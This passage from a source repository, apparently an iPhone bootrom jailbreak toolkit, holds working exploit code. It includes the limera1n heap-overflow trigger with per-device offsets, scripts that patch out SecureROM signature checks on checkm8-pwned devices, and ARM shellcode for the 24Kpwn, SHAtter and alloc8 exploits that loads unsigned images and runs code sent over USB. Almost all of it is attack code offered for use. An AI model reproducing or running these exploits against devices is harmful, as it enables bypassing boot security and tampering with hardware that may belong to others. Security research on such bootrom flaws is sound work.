        0x83dc, #  3 - memmove
    0x84034000, #  4 - MAIN_STACK_ADDRESS
        0x43d1, #  5 - nor_power_on
        0x5df5, #  6 - nor_init
    0x84024820, #  7 - gUSBSerialNumber
        0x8e85, #  8 - strlcat
        0x34a5, #  9 - usb_wait_for_image
    0x84000000, # 10 - LOAD_ADDRESS
       0x24000, # 11 - MAX_SIZE
    0x84024228, # 12 - gLeakingDFUBuffer
        0x1ccd, # 13 - free
    0x65786563, # 14 - EXEC_MAGIC
        0x1f81, # 15 - memz_create
        0x3971, # 16 - jump_to
        0x1fa9, # 17 - memz_destroy
          0x60, # 18 - IMAGE3_LOAD_SP_OFFSET
          0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
        0x1fed, # 20 - image3_create_struct
        0x265d, # 21 - image3_load_continue
        0x2783, # 22 - image3_load_fail
]

constants_359_5 = [
    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS
          1024, #  2 - RELOCATE_SHELLCODE_SIZE
        0x8564, #  3 - memmove
    0x84034000, #  4 - MAIN_STACK_ADDRESS
        0x43b9, #  5 - nor_power_on
        0x5f75, #  6 - nor_init
    0x84024750, #  7 - gUSBSerialNumber
        0x901d, #  8 - strlcat
        0x36e5, #  9 - usb_wait_for_image
    0x84000000, # 10 - LOAD_ADDRESS
       0x24000, # 11 - MAX_SIZE
    0x84024158, # 12 - gLeakingDFUBuffer
        0x1a51, # 13 - free
    0x65786563, # 14 - EXEC_MAGIC
        0x1f25, # 15 - memz_create
        0x39dd, # 16 - jump_to
        0x1f0d, # 17 - memz_destroy
          0x64, # 18 - IMAGE3_LOAD_SP_OFFSET
          0x60, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
        0x2113, # 20 - image3_create_struct
        0x2665, # 21 - image3_load_continue
        0x276d, # 22 - image3_load_fail
]

constants_574_4 = [
    0x84039800, #  1 - RELOCATE_SHELLCODE_ADDRESS
          1024, #  2 - RELOCATE_SHELLCODE_SIZE
        0x84dc, #  3 - memmove
    0x8403c000, #  4 - MAIN_STACK_ADDRESS
        0x4e8d, #  5 - nor_power_on
        0x690d, #  6 - nor_init
    0x8402e0e0, #  7 - gUSBSerialNumber
        0x90c9, #  8 - strlcat
        0x4c85, #  9 - usb_wait_for_image
    0x84000000, # 10 - LOAD_ADDRESS
       0x2c000, # 11 - MAX_SIZE
    0x8402dbcc, # 12 - gLeakingDFUBuffer
        0x3b95, # 13 - free
    0x65786563, # 14 - EXEC_MAGIC
        0x7469, # 15 - memz_create
        0x5a5d, # 16 - jump_to
        0x7451, # 17 - memz_destroy
          0x68, # 18 - IMAGE3_LOAD_SP_OFFSET
          0x64, # 19 - IMAGE3_LOAD_STRUCT_OFFSET
        0x412d, # 20 - image3_create_struct
        0x46db, # 21 - image3_load_continue
        0x47db, # 22 - image3_load_fail
]

class DeviceConfig:
    def __init__(self, version, cpid, exploit_lr, max_size, constants):
        self.version = version
        self.cpid = cpid
        self.exploit_lr = exploit_lr
        self.max_size = max_size
        self.constants = constants

configs = [
    DeviceConfig('359.3',   '8920', 0x84033FA4, 0x24000, constants_359_3),   # S5L8920 (old bootrom)
    DeviceConfig('359.3.2', '8920', 0x84033FA4, 0x24000, constants_359_3_2), # S5L8920 (new bootrom)
    DeviceConfig('359.5',   '8922', 0x84033F98, 0x24000, constants_359_5),   # S5L8922
    DeviceConfig('574.4',   '8930', 0x8403BF9C, 0x2C000, constants_574_4),   # S5L8930
]

def create_control_transfer(device, request, timeout):
    ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)
    assert ptr is not None

    transfer = ptr.contents
    transfer.dev_handle = device._ctx.handle.handle
    transfer.endpoint = 0 # EP0
    transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL
    transfer.timeout = timeout
    transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer
    transfer.length = len(request)
    transfer.user_data = None
    transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL
    transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER

    return ptr

def limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):
    if usb.backend.libusb1._lib is not device._ctx.backend.lib:
        print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'
        sys.exit(1)

    request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)
    transfer_ptr = create_control_transfer(device, request, timeout)
    assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0

    time.sleep(timeout / 1000.0)

    # Prototype of libusb_cancel_transfer is missing from pyusb
    usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]
    assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0

def generate_payload(constants, exploit_lr):
    with open('bin/limera1n-shellcode.bin', 'rb') as f:
        shellcode = f.read()

    # Shellcode has placeholder values for constants; check they match and replace with constants from config
    placeholders_offset = len(shellcode) - 4 * len(constants)
    for i in range(len(constants)):
        offset = placeholders_offset + 4 * i
        (value,) = struct.unpack('<I', shellcode[offset:offset + 4])
        assert value == 0xBAD00001 + i

    shellcode_address = 0x84000400 + 1
    heap_block = struct.pack('<4I48s', 0x405, 0x101, shellcode_address, exploit_lr, '\xCC' * 48)
    return heap_block * 16 + shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)

def exploit():
    print '*** based on limera1n exploit (heap overflow) by geohot ***'

    device = dfu.acquire_device()
    print 'Found:', device.serial_number

    if 'PWND:[' in device.serial_number:
        print 'Device is already in pwned DFU Mode. Not executing exploit.'
        return
    
    chosenConfig = None
    for config in configs:
        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
            chosenConfig = config
            break
    if chosenConfig is None:
        for config in configs:
            if 'CPID:%s' % config.cpid in device.serial_number:
                print 'ERROR: CPID is compatible, but serial number string does not match.'
                print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
                sys.exit(1)
        print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
        sys.exit(1)
    
    dfu.send_data(device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))

    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1

    limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10)

    try:
        device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
        print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
        sys.exit(1)
    except usb.core.USBError:
        # OK: This request should have raised USBError.
        pass

    dfu.usb_reset(device)
    dfu.release_device(device)
    
    device = dfu.acquire_device()
    dfu.request_image_validation(device)
    dfu.release_device(device)

    time.sleep(0.5)

    device = dfu.acquire_device()
    failed = 'PWND:[limera1n]' not in device.serial_number
    dfu.release_device(device)

    if failed:
        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
        sys.exit(1)

    print 'Device is now in pwned DFU Mode.'


================================================
FILE: nor-backups/README
================================================
Your NOR backups will be stored here.


================================================
FILE: nor.py
================================================
import binascii, struct

NOR_SIZE = 0x100000

class NorData():
    def __init__(self, dump):
        assert len(dump) == NOR_SIZE

        (img2_magic, self.block_size, unused, firmware_block, firmware_block_count) = struct.unpack('<4s4I', dump[:20])
        (img2_crc,) = struct.unpack('<I', dump[48:52])
        assert img2_crc == binascii.crc32(dump[:48]) & 0xffffffff

        self.firmware_offset = self.block_size * firmware_block
        self.firmware_length = self.block_size * firmware_block_count
        self.parts = [
          dump[0:52],
          dump[52:512],
          dump[512:self.firmware_offset],
          dump[self.firmware_offset:self.firmware_offset + self.firmware_length],
          dump[self.firmware_offset + self.firmware_length:]
        ]

        self.images = []
        offset = 0
        while 1:
            (magic, size) = struct.unpack('<4sI', self.parts[3][offset:offset+8])
            if magic != 'Img3'[::-1] or size == 0:
                break
            self.images.append(self.parts[3][offset:offset + size])
            offset += size

    def dump(self):
        # Replace self.parts[3] with content of self.images
        all_images = ''.join(self.images)
        all_images += '\xff' * (self.firmware_length - len(all_images))
        dump = self.parts[0] + self.parts[1] + self.parts[2] + all_images + self.parts[4]
        assert len(dump) == NOR_SIZE
        return dump


================================================
FILE: recovery.py
================================================
import sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import usb.backend.libusb1
import libusbfinder

MAX_PACKET_SIZE = 0x4000

def acquire_device(timeout=10):
    backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())
    #print 'Acquiring device handle',
    start = time.time()
    # Keep retrying for up to timeout seconds if device is not found.
    while time.time() - start < timeout:
        device = usb.core.find(idVendor=0x5AC, idProduct=0x1281, backend=backend)
        if device is not None:
            return device
        sys.stdout.flush()
        time.sleep(0.1)
    print 'ERROR: No Apple device in Recovery Mode 0x1281 detected. Exiting.'
    sys.exit(1)

def release_device(device):
    #print 'Releasing device handle.'
    usb.util.dispose_resources(device)

def send_command(device, command):
    # TODO: Add assert?
    device.ctrl_transfer(0x40, 0, 0, 0, command + '\x00', 30000)

def send_data(device, data):
    #print 'Sending 0x%x of data to device.' % len(data)
    assert device.ctrl_transfer(0x41, 0, 0, 0, 0, 1000) == 0
    index = 0
    while index < len(data):
        amount = min(len(data) - index, MAX_PACKET_SIZE)
        assert device.write(0x04, data[index:index + amount], 1000) == amount
        index += amount


================================================
FILE: rmsigchks.py
================================================
import dfu
import usbexec
import sys
import usb.core

HOST2DEVICE = 0x21
DEVICE2HOST = 0xA1

DFU_DNLOAD = 1
DFU_ABORT = 4

class DeviceConfig:
    def __init__(self, version, cpid, patches):
        self.version = version
        self.cpid    = cpid
        self.patches = patches

def all_exploit_configs():
    s5l8960x_patches = {
        0x1000054e4: "\x1f\x20\x03\xd5",
        0x1000054b4: b"".join([
            b"\x21\x00\x80\x52", # mov w1, 1
            b"\xe1\x9f\x02\x39", # strb w1, [sp,#0xA7]
            b"\x1f\x20\x03\xd5", # nop
            b"\xe1\xa7\x02\x39", # strb w1, [sp,#0xA9]
            b"\xe1\xab\x02\x39", # strb w1, [sp,#0xAA]
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
            b"\x1f\x20\x03\xd5", # nop
        ])
    }
    
    t8011_patches = {
        0x100006df8: "\x21\x00\x80\x52\xe1\xb7\x03\x39\xe1\xb3\x03\x39\xe1\xbb\x03\x39",
        0x100006e0c: "\x1f\x20\x03\xd5", # nop
        0x100006e10: "\x1f\x20\x03\xd5", # nop
        0x100006e14: "\x1f\x20\x03\xd5", # nop
        0x10000f2d0: "\x00\x00\x80\xd2\xc0\x03\x5f\xd6"
    }

    return [
        DeviceConfig("iBoot-1704.10", 0x8960, s5l8960x_patches),
        DeviceConfig("iBoot-3135.0.0.2.3", 0x8011, t8011_patches),
    ]

def exploit_config(serial_number):
    for config in all_exploit_configs():
        if "SRTG:[%s]" % config.version in serial_number:
            return config
    for config in all_exploit_configs():
        if "CPID:%s" % config.cpid in serial_number:
            print "ERROR: CPID is compatible, but serial number string does not match."
            print "Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting."
            sys.exit(1)
    print "ERROR: This is not a compatible device. Exiting."
    print "Right now, only the iPhone 5s is compatible."
    sys.exit(1)

def main():
    print "*** SecureROM Signature check remover by Linus Henze ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    config = exploit_config(device.serial_number)
    print "Applying patches..."
    try:
        pdev = usbexec.PwnedUSBDevice()
    except usb.core.USBError:
        print "Patches have already been applied. Exiting."
        sys.exit(0)
    for k in config.patches.keys():
        pdev.write_memory(k, config.patches[k])
    print "Successfully applied patches"
    print "Resetting device state"
    print "* This will effectiveley disable pwned DFU Mode"
    print "* Only the signature patches will remain"
    # Send abort
    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    dfu.usb_reset(device)
    dfu.release_device(device)
    print "Device is now ready to accept unsigned images"

if __name__ == "__main__":
	main()


================================================
FILE: rmsigchks_t8015.py
================================================
import dfu
import usbexec
import sys
import usb.core
import struct
import binascii

HOST2DEVICE = 0x21
DEVICE2HOST = 0xA1

DFU_DNLOAD = 1
DFU_ABORT = 4


REMAP_PAGE  = 0x000000010000c000 #heapcheck
REMAP_PAGE2 = 0x0000000100004000 #sigcheck

SRAM_PAGETABLE_PAGE = 0x0000000180014000 #works

SRAM_REMAP_PAGE  = 0x00000001801f8000
SRAM_REMAP_PAGE2 = 0x00000001801f4000

PAGE_SIZE = 0x4000

def makePTE_Page_16K(addr):
    addr >>= 14
    e = 0b11            #valid and isPage
    e |= 1      << 2    #attrIndex 1
    e |= 0b10   << 6    #AP R- in EL1, -- in EL0
    e |= 1      << 10   #AF
    e |= addr   << 14   #outputAddress
    return e

def makePTE_Table_16K(addr):
    addr >>= 14
    e = 0b11            #valid and isTable
    e |= addr   << 14   #outputAddress
    return e


def main():
    print "*** SecureROM t8015 sigcheckpath by tihmstar ***"
    device = dfu.acquire_device()
    print "Found:", device.serial_number
    if not "PWND:[" in device.serial_number:
        print "Please enable pwned DFU Mode first."
        sys.exit(1)
    if not "PWND:[checkm8]" in device.serial_number:
        print "Only devices pwned using checkm8 are supported."
        sys.exit(1)
    dfu.release_device(device)

    device = usbexec.PwnedUSBDevice()

    #make Level3 Table
    l3table = ""
    for addr in range(0x0000000100000000,0x0000000100100000,PAGE_SIZE):
        entry = struct.pack("<Q",makePTE_Page_16K(addr))
        if addr == REMAP_PAGE: #we are remapping heapcheck page
            entry = struct.pack("<Q",makePTE_Page_16K(SRAM_REMAP_PAGE))
        elif addr == REMAP_PAGE2: #we are remapping sigcheck page
            entry = struct.pack("<Q",makePTE_Page_16K(SRAM_REMAP_PAGE2))
        l3table += entry

    #we write L3 Table here
    device.write_memory(SRAM_PAGETABLE_PAGE,l3table)

    #remap heapcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE,REMAP_PAGE,PAGE_SIZE)

    #remap sigcheck page to sram
    device.memcpy(SRAM_REMAP_PAGE2,REMAP_PAGE2,PAGE_SIZE)

    # patch heap corruption check
    device.write_memory(0x000000010000db98-REMAP_PAGE+SRAM_REMAP_PAGE,"\xC0\x03\x5F\xD6")

    #patch codesigs
    device.write_memory(0x000000010000624c-REMAP_PAGE2+SRAM_REMAP_PAGE2,"\x00\x00\x80\xD2")

    #L2 Table point to L3
    device.write_memory(0x000000018000c400,struct.pack("<Q",makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))

    #memory barrier
    device.execute(0,0x1000004F0)

    #flush tlb
    device.execute(0,0x1000004AC)


    print("done remapping and patching page")
    device = dfu.acquire_device()

    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
    # Perform USB reset
    try:
        dfu.usb_reset(device)
        dfu.release_device(device)
    except:
        pass
    print "Device is now ready to accept unsigned images"


if __name__ == "__main__":
	main()


================================================
FILE: src/24Kpwn-shellcode.S
================================================
@ 24Kpwn-shellcode.S
@ Author: axi0mX
@ Shellcode for 24Kpwn exploit.

.text

.pool
.set SHA1_DWORD_ADDRESS,                0x840241cc
.set SHA1_DWORD_VALUE,                  0x80100040
.set NEW_LR_ADDRESS,                    0x84033f18
.set NEW_LR_VALUE,                          0x2655
.set NEW_PC_VALUE,                          0x21ed

.global _start

_start:
.code 16
    LDR R0, =SHA1_DWORD_ADDRESS
    LDR R1, =SHA1_DWORD_VALUE
    STR R1, [R0]                                @ *SHA1_DWORD_ADDRESS = SHA1_DWORD_VALUE

    LDR R0, =NEW_LR_ADDRESS
    LDR R1, =NEW_LR_VALUE
    STR R1, [R0]                                @ *NEW_LR_ADDRESS = NEW_LR_VALUE

    ADD SP, SP, #0x48                           @ SP += 0x48

    LDR R0, =NEW_PC_VALUE
    BX R0                                       @ goto NEW_PC_VALUE


================================================
FILE: src/SHAtter-shellcode.S
================================================
@ SHAtter-shellcode.S
@ Author: axi0mX
@ Shellcode for SHAtter exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[SHAtter] in USB serial number string

.text

.pool
.set free,                              0x3b95
.set memz_create,                       0x7469
.set memz_destroy,                      0x7451
.set image3_create_struct,              0x412d
.set image3_load_continue,              0x46db
.set image3_load_fail,                  0x47db
.set usb_wait_for_image,                0x4c85
.set jump_to,                           0x5a5d
.set nor_power_on,                      0x4e8d
.set nor_init,                          0x690d
.set memmove,                           0x84dc
.set strlcat,                           0x90c9
.set invalidate_instruction_cache,      0x6480
.set usb_shutdown,                      0x712d

.set gLeakingDFUBuffer,             0x8402dbcc
.set gUSBSerialNumber,              0x8402e0e0

.set RELOCATE_SHELLCODE_ADDRESS,    0x84039800
.set RELOCATE_SHELLCODE_SIZE,             1024
.set MAIN_STACK_ADDRESS,            0x8403c000
.set LOAD_ADDRESS,                  0x84000000
.set MAX_SIZE,                         0x2c000
.set EXEC_MAGIC,                    0x65786563
.set IMAGE3_LOAD_SP_OFFSET,               0x68
.set IMAGE3_LOAD_STRUCT_OFFSET,           0x64
.set SECUREROM_ADDRESS,             0xbf000000
.set SECUREROM_DATA_ADDRESS,        0xbf00c000
.set DATA_ADDRESS,                  0x8402c000
.set DATA_COPY_SIZE,                     0x140

_start: .global _start

.code 16
    MOV R0, #0
    LDR R1, =SECUREROM_ADDRESS
    MOV R2, #128
    LDR R3, =memmove
    BLX R3                                      @ memmove(0, SECUREROM_ADDRESS, 128)

    LDR R0, =DATA_ADDRESS
    LDR R1, =SECUREROM_DATA_ADDRESS
    LDR R2, =DATA_COPY_SIZE
    LDR R3, =memmove
    BLX R3                                      @ memmove(DATA_ADDRESS, SECUREROM_DATA_ADDRESS, DATA_COPY_SIZE)

    LDR R3, =usb_shutdown
    BLX R3                                      @ usb_shutdown()

    LDR R3, =invalidate_instruction_cache
    BLX R3                                      @ invalidate_instruction_cache()

relocate_shellcode:
    MOV R1, PC
    SUB R1, R1, #4                              @ R1 = PC - 4

    LDR R0, =RELOCATE_SHELLCODE_ADDRESS
    CMP R0, R1
    BEQ pwned_dfu_start                         @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start

    LDR R2, =RELOCATE_SHELLCODE_SIZE
    LDR R3, =memmove
    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)

    LDR R3, =RELOCATE_SHELLCODE_ADDRESS
    ADD R3, R3, #1
    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)

pwned_dfu_start:
    LDR R0, =MAIN_STACK_ADDRESS
    SUB R0, R0, #12
    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS - 12

    MOV R0, #1
    MOV R1, #1
    MOV R2, #0
    LDR R3, =nor_power_on
    BLX R3                                      @ nor_power_on(1, 1, 0)

    MOV R0, #0
    LDR R3, =nor_init
    BLX R3                                      @ nor_init(0)

    LDR R0, =gUSBSerialNumber
    ADR R1, PWND_STRING
    MOV R2, #120
    LDR R3, =strlcat
    BLX R3                                      @ strlcat(gUSBSerialNumber, PWND_STRING, 120)

pwned_dfu_loop:
    LDR R3, =usb_wait_for_image
    LDR R0, =LOAD_ADDRESS
    LDR R1, =MAX_SIZE
    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)

    MOV R4, R0                                  @ R4 = R0

    LDR R1, =gLeakingDFUBuffer
    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer

    MOV R2, #0
    STR R2, [R1]                                @ gLeakingDFUBuffer = 0

    LDR R3, =free
    BLX R3                                      @ free(R0)

    CMP R4, #0
    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop

    LDR R5, =LOAD_ADDRESS
    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]

    LDR R1, =EXEC_MAGIC
    CMP R0, R1
    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic

    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */

    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */

    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */

    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */

    LDR R4, [R5, #0x18]
    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */

    LDR R4, [R5, #0x1C]
    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */

    LDR R4, [R5, #0x20]
    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */

    LDR R4, [R5, #0x4]
    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])

    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0

    MOV R1, #0
    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

pwned_dfu_not_exec_magic:
    LDR R0, =LOAD_ADDRESS
    MOV R1, R4
    MOV R2, #0
    LDR R3, =memz_create
    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)

    CMP R0, #0
    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */

    LDR R3, =LOAD_ADDRESS
    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS

    STR R4, [SP, #4]                            @ SP[1] = R4

    MOV R4, R0                                  @ R4 = R0

    MOV R1, SP
    ADD R2, SP, #4
    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])

    CBNZ R0, load_failed                        @ if (R0 != 0) goto load_failed

    LDR R1, =LOAD_ADDRESS
    MOV R2, #0
    LDR R3, =jump_to
    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)

    /* jump_to should never return */

load_failed:
    MOV R0, R4
    LDR R3, =memz_destroy
    BLX R3                                      @ memz_destroy(R4)

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

image3_load_no_signature_check:
    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)

    MOV R6, R11
    MOV R5, R10
    MOV R4, R8
    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)

    ADD R7, SP, #0x18                           @ R7 = SP - 0x18

    LDR R4, =IMAGE3_LOAD_SP_OFFSET
    MOV R5, SP
    SUB R5, R5, R4
    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET

    MOV R3, #0
    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
    ADD R4, R5, R4
    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0

    STR R2, [SP, #0x10]                         @ SP[4] = R2

    STR R1, [SP, #0x14]                         @ SP[5] = R1

    STR R3, [SP, #0x18]                         @ SP[6] = 0

    LDR R6, [R1]                                @ R6 = *R1

    MOV R10, R1                                 @ R10 = R1

    MOV R11, R3                                 @ R11 = 0

    LDR R1, =MAX_SIZE
    MOV R8, R1                                  @ R8 = MAX_SIZE

    LDR R2, [R0, #4]
    CMP R2, R1
    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail

    MOV R8, R2                                  @ R8 = R0[1]

    MOV R0, R4
    MOV R1, R6
    LDR R4, =image3_create_struct
    BLX R4
    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)

    LDR R3, =image3_load_continue               @ R3 = image3_load_continue

    CBZ R4, img3_branch_R3                      @ if (R4 == 0) goto img3_branch_R3

img3_fail:
    MOV R4, #1                                  @ R4 = 1

    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail

img3_branch_R3:
    BX R3                                       @ goto R3

.align 2

PWND_STRING:
.ascii " PWND:[SHAtter]\x00"


================================================
FILE: src/alloc8-shellcode.S
================================================
@ alloc8-shellcode.S
@ Author: axi0mX
@ Shellcode for alloc8 exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[alloc8] in USB serial number string
@ * enters pwned DFU on boot if home and power buttons are being held and cable is connected

.text
 
.pool
.set free,                              0xBAD00004
.set get_nor_image,                     0xBAD0000a
.set memz_create,                       0xBAD00013
.set memz_destroy,                      0xBAD00014
.set image3_create_struct,              0xBAD00017
.set image3_load_continue,              0xBAD00018
.set image3_load_fail,                  0xBAD00019
.set usb_wait_for_image,                0xBAD00010
.set usb_create_serial_number_string,   0xBAD0000e
.set jump_to,                           0xBAD0000d
.set exit_critical_section,             0xBAD00005
.set cable_connected,                   0xBAD00008
.set power_button_pressed,              0xBAD00007
.set home_button_pressed,               0xBAD00006
.set clean_invalidate_data_cache,       0xBAD00002
.set strlcat,                           0xBAD0000f

.set gNorImg3List,                      0xBAD00003
.set gLeakingDFUBuffer,                 0xBAD00011

.set MAIN_STACK_ADDRESS,                0xBAD00001
.set LOAD_ADDRESS,                      0xBAD0000b
.set MAX_SIZE,                          0xBAD0000c
.set ILLB_MAGIC,                        0xBAD00009
.set MEMZ_STRUCT_MAGIC,                 0xBAD00016
.set IMG3_STRUCT_MAGIC,                 0xBAD00015
.set EXEC_MAGIC,                        0xBAD00012

.global _start

_start:
.code 16
    LDR R0, =MAIN_STACK_ADDRESS
    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS

    LDR R0, =clean_invalidate_data_cache
    BLX R0                                      @ clean_invalidate_data_cache()

    LDR R4, =gNorImg3List                       @ R4 = &gNorImg3List

    LDR R1, [R4, #4]                            @ R1 = R4[1]

    LDR R5, [R1, #4]                            @ R5 = R1[1]

    STR R4, [R1, #4]                            @ R1[1] = R4

    STR R1, [R4]                                @ gNorImg3List = R1

    LDR R6, =free                               @ R6 = free

free_loop:
    CMP R4, R5
    BEQ pwned_boot                              @ if (R4 == R5) goto pwned_boot

    MOV R0, R5                                  @ R0 = R5

    LDR R5, [R5, #4]                            @ R5 = R5[1]

    BLX R6                                      @ free(R0)

    B free_loop                                 @ goto free_loop

pwned_boot:
    SUB SP, SP, #0xC                            @ SP -= 0xC

    LDR R3, =exit_critical_section
    BLX R3                                      @ exit_critical_section()

    LDR R3, =home_button_pressed
    BLX R3                                      @ R0 = home_button_pressed()

    CBZ R0, pwned_llb_boot                      @ if (R0 == 0) goto pwned_llb_boot

    LDR R3, =power_button_pressed
    BLX R3                                      @ R0 = power_button_pressed()

    CBZ R0, pwned_llb_boot                      @ if (R0 == 0) goto pwned_llb_boot

    LDR R3, =cable_connected
    BLX R3                                      @ R0 = cable_connected()

    CBNZ R0, pwned_dfu                          @ if (R0 != 0) goto pwned_dfu

pwned_llb_boot:
    LDR R0, =ILLB_MAGIC                 
    LDR R3, =get_nor_image              
    BLX R3                                      @ R0 = get_nor_image(ILLB_MAGIC)

    CBZ R0, pwned_dfu                           @ if (R0 == 0) goto pwned_dfu

    LDR R1, =LOAD_ADDRESS                       
    STR R1, [SP]                                @ SP[0] = LOAD_ADDRESS

    LDR R1, =MAX_SIZE
    STR R1, [SP, #4]                            @ SP[1] = MAX_SIZE

    MOV R1, SP
    ADD R2, SP, #4
    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])

    CBNZ R0, pwned_dfu                          @ if (R0 != 0) goto pwned_dfu

    LDR R1, =LOAD_ADDRESS                       
    MOV R2, #0
    LDR R3, =jump_to
    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)

    /* jump_to should never return */

pwned_dfu:
    MOV R0, #1
    LDR R3, =usb_create_serial_number_string
    BLX R3                                      @ R0 = usb_create_serial_number_string(1)

    ADR R1, PWND_STRING
    MOV R2, #120
    LDR R3, =strlcat
    BLX R3                                      @ strlcat(R0, PWND_STRING, 120)

pwned_dfu_loop:
    LDR R0, =LOAD_ADDRESS
    LDR R1, =MAX_SIZE
    LDR R3, =usb_wait_for_image
    BLX R3 
    MOV R4, R0                                  @ R4 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)

    LDR R5, =gLeakingDFUBuffer
    LDR R0, [R5]
    LDR R3, =free
    BLX R3                                      @ free(gLeakingDFUBuffer)

    MOV R0, #0
    STR R0, [R5]                                @ gLeakingDFUBuffer = 0

    CMP R4, #0
    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop

    LDR R5, =LOAD_ADDRESS
    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]

    LDR R1, =EXEC_MAGIC
    CMP R0, R1
    BEQ pwned_dfu_exec_magic                    @ if (R0 == EXEC_MAGIC) goto pwned_dfu_exec_magic

    LDR R0, =LOAD_ADDRESS
    MOV R1, R4
    MOV R2, #0
    LDR R3, =memz_create
    BLX R3
    MOV R4, R0                                  @ R4 = memz_create(LOAD_ADDRESS, R4, 0)

    CBZ R4, pwned_dfu_loop_end                  @ if (R4 == 0) goto pwned_dfu_loop_end
                         
    STR R5, [SP]                                @ SP[0] = LOAD_ADDRESS

    STR R4, [SP, #4]                            @ SP[1] = R4

    MOV R1, SP
    ADD R2, SP, #4
    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])

    CBNZ R0, pwned_dfu_load_failed              @ if (R0 != 0) goto pwned_dfu_load_failed

